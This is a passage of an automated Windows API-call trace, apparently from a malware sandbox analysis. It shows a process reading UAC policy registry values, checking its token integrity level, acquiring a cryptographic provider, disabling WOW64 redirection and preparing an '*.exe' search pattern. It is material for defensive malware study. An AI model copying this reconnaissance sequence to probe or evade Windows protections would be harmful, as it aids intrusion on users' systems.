returned 1 [0038.905] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec510) returned 1 [0038.905] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eb930) returned 1 [0038.905] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec4c8) returned 1 [0038.905] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eb860) returned 1 [0038.905] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec480) returned 1 [0038.905] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eb968) returned 1 [0038.905] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec3f0) returned 1 [0038.905] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eb978) returned 1 [0038.905] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec3a8) returned 1 [0038.905] RegQueryValueExA (in: hKey=0x38, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0038.905] RegQueryValueExA (in: hKey=0x38, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x18fb9c, lpData=0x21ec240, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x21ec240*=0x5, lpcbData=0x18fba4*=0x4) returned 0x0 [0038.905] RegEnumValueA (in: hKey=0x38, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.905] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x10) returned 0x21ed5e8 [0038.905] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed1f8 [0038.905] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.905] RegEnumValueA (in: hKey=0x38, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.905] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed1e8 [0038.905] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec240 [0038.906] RegEnumValueA (in: hKey=0x38, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.906] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed208 [0038.906] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.906] RegEnumValueA (in: hKey=0x38, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.906] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed218 [0038.906] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec168 [0038.906] RegEnumValueA (in: hKey=0x38, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.906] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x20) returned 0x21eb860 [0038.906] RegEnumValueA (in: hKey=0x38, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.906] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed238 [0038.906] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec1f8 [0038.906] RegEnumValueA (in: hKey=0x38, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.906] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed248 [0038.906] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec288 [0038.906] RegEnumValueA (in: hKey=0x38, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.906] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed258 [0038.906] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec2d0 [0038.906] RegEnumValueA (in: hKey=0x38, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.906] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x30) returned 0x21eb930 [0038.906] RegEnumValueA (in: hKey=0x38, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.906] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed278 [0038.906] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec360 [0038.906] RegEnumValueA (in: hKey=0x38, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.906] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed288 [0038.906] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec3a8 [0038.906] RegEnumValueA (in: hKey=0x38, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.906] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed298 [0038.906] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec3f0 [0038.906] RegEnumValueA (in: hKey=0x38, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.906] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec480 [0038.907] RegEnumValueA (in: hKey=0x38, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.907] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed2b8 [0038.907] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec510 [0038.907] RegEnumValueA (in: hKey=0x38, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.907] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed2c8 [0038.907] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec558 [0038.907] RegEnumValueA (in: hKey=0x38, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.907] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed2d8 [0038.907] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec438 [0038.907] RegEnumValueA (in: hKey=0x38, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0038.907] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec5a0 [0038.907] RegQueryValueExA (in: hKey=0x38, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0038.907] RegQueryValueExA (in: hKey=0x38, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x18fb9c, lpData=0x21ec480, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x21ec480*=0x1, lpcbData=0x18fba4*=0x4) returned 0x0 [0038.907] RegCloseKey (hKey=0x38) returned 0x0 [0038.907] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fc14 | out: TokenHandle=0x18fc14*=0x38) returned 1 [0038.907] GetTokenInformation (in: TokenHandle=0x38, TokenInformationClass=0x14, TokenInformation=0x18fc10, TokenInformationLength=0x4, ReturnLength=0x18fc0c | out: TokenInformation=0x18fc10, ReturnLength=0x18fc0c) returned 1 [0038.907] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fc00 | out: TokenHandle=0x18fc00*=0xc4) returned 1 [0038.907] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18fbfc | out: TokenInformation=0x0, ReturnLength=0x18fbfc) returned 0 [0038.907] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec5a0 [0038.907] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x19, TokenInformation=0x21ec5a0, TokenInformationLength=0x14, ReturnLength=0x18fbfc | out: TokenInformation=0x21ec5a0, ReturnLength=0x18fbfc) returned 1 [0038.907] GetSidSubAuthorityCount (pSid=0x21ec5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x21ec5a9 [0038.907] GetSidSubAuthority (pSid=0x21ec5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x21ec5b0 [0038.907] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec5a0) returned 1 [0038.907] NtClose (Handle=0xc4) returned 0x0 [0038.908] GetSystemInfo (in: lpSystemInfo=0x18fd48 | out: lpSystemInfo=0x18fd48*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0038.908] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x6c) returned 0x21eb860 [0038.908] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec5a0 [0038.908] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0xc4 [0038.908] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec480 [0038.908] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec438 [0038.908] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec558 [0038.908] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec510 [0038.908] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x5000) returned 0x21f0048 [0038.908] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec4c8 [0038.909] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec4c8) returned 1 [0038.909] CryptAcquireContextW (in: phProv=0x18fd5c, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fd5c*=0x602010) returned 1 [0038.923] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f0048) returned 1 [0038.923] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eb8d8 [0038.923] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eb960 [0038.923] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec4c8 [0038.923] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eb9e8 [0038.923] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eba70 [0038.923] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec3f0 [0038.923] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebaf8 [0038.924] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec3a8 [0038.924] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x5000) returned 0x21f0048 [0038.924] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec360 [0038.924] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec360) returned 1 [0038.924] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0038.965] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f0048) returned 1 [0038.965] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x5fcd58, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0038.965] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec360 [0038.965] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0x110 [0038.966] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec360) returned 1 [0038.966] GetLastError () returned 0x0 [0038.966] LocalFree (hMem=0x5fcd58) returned 0x0 [0038.966] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec360 [0038.966] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x5000) returned 0x21f0048 [0038.966] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec318 [0038.966] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec318) returned 1 [0038.966] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0038.967] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f0048) returned 1 [0038.967] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x5fcd58, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0038.967] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec318 [0038.967] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0x114 [0038.967] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec318) returned 1 [0038.967] GetLastError () returned 0x0 [0038.967] LocalFree (hMem=0x5fcd58) returned 0x0 [0038.967] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec318 [0038.967] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x5000) returned 0x21f0048 [0038.967] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec2d0 [0038.967] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec2d0) returned 1 [0038.967] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0038.968] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f0048) returned 1 [0038.968] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x5fcd58, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0038.968] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec2d0 [0038.968] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0x118 [0038.968] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec2d0) returned 1 [0038.968] GetLastError () returned 0x0 [0038.968] LocalFree (hMem=0x5fcd58) returned 0x0 [0038.968] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x2800) returned 0x21f0048 [0038.968] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebb80 [0038.968] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec2d0 [0038.968] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd8c | out: OldValue=0x18fd8c*=0x0) returned 1 [0038.968] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x2800) returned 0x21f2850 [0038.968] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec288 [0038.968] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec288) returned 1 [0038.968] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x10) returned 0x21ed5e8 [0038.968] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed2d8 [0038.968] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec288 [0038.968] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec1f8 [0038.968] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec1f8) returned 1 [0038.968] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec288) returned 1 [0038.968] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed2d8) returned 1 [0038.968] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed5e8) returned 1 [0038.968] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f2850) returned 1 [0038.968] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x2800) returned 0x21f2850 [0038.968] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec288 [0038.968] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec288) returned 1 [0038.968] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec288 [0038.968] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x10) returned 0x21ed5e8 [0038.969] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed2d8 [0038.969] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec1f8 [0038.969] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec288) returned 1 [0038.969] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed2c8 [0038.969] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec288 [0038.969] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x10) returned 0x21ed600 [0038.969] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed2b8 [0038.969] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec1b0 [0038.969] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed2a8 [0038.969] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec168 [0038.969] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec1f8) returned 1 [0038.969] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed2d8) returned 1 [0038.969] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec288) returned 1 [0038.969] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed2c8) returned 1 [0038.969] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed5e8) returned 1 [0038.969] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec288 [0038.969] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec288) returned 1 [0038.969] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec288 [0038.969] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec288) returned 1 [0038.969] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x10) returned 0x21ed5e8 [0038.969] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed2c8 [0038.969] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec288 [0038.969] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed2d8 [0038.969] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec1f8 [0038.969] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec1b0) returned 1 [0038.969] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed2b8) returned 1 [0038.969] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec168) returned 1 [0038.969] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed2a8) returned 1 [0038.969] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed600) returned 1 [0038.969] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x10) returned 0x21ed600 [0038.969] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed2a8 [0038.969] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec168 [0038.969] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed2b8 [0038.969] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec1b0 [0038.969] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec288) returned 1 [0038.969] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed2c8) returned 1 [0038.969] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec1f8) returned 1 [0038.969] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed2d8) returned 1 [0038.969] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed5e8) returned 1 [0038.969] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x10) returned 0x21ed5e8 [0038.969] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed2d8 [0038.969] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec1f8 [0038.970] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed2c8 [0038.970] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec288 [0038.970] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec168) returned 1 [0038.970] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed2a8) returned 1 [0038.970] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec1b0) returned 1 [0038.970] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed2b8) returned 1 [0038.970] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed600) returned 1 [0038.970] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f2850) returned 1 [0038.970] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21ec1f8, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0038.970] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ed9d0 [0038.970] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21ec1f8, cbMultiByte=5, lpWideCharStr=0x21ed9d0, cchWideChar=5 | out: lpWideCharStr="*.exe") returned 5 [0038.970] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eda58 [0038.970] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed9d0) returned 1 [0038.970] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x10) returned 0x21ed600 [0038.970] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed2b8 [0038.970] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ed9d0 [0038.970] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eda58) returned 1 [0038.970] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, 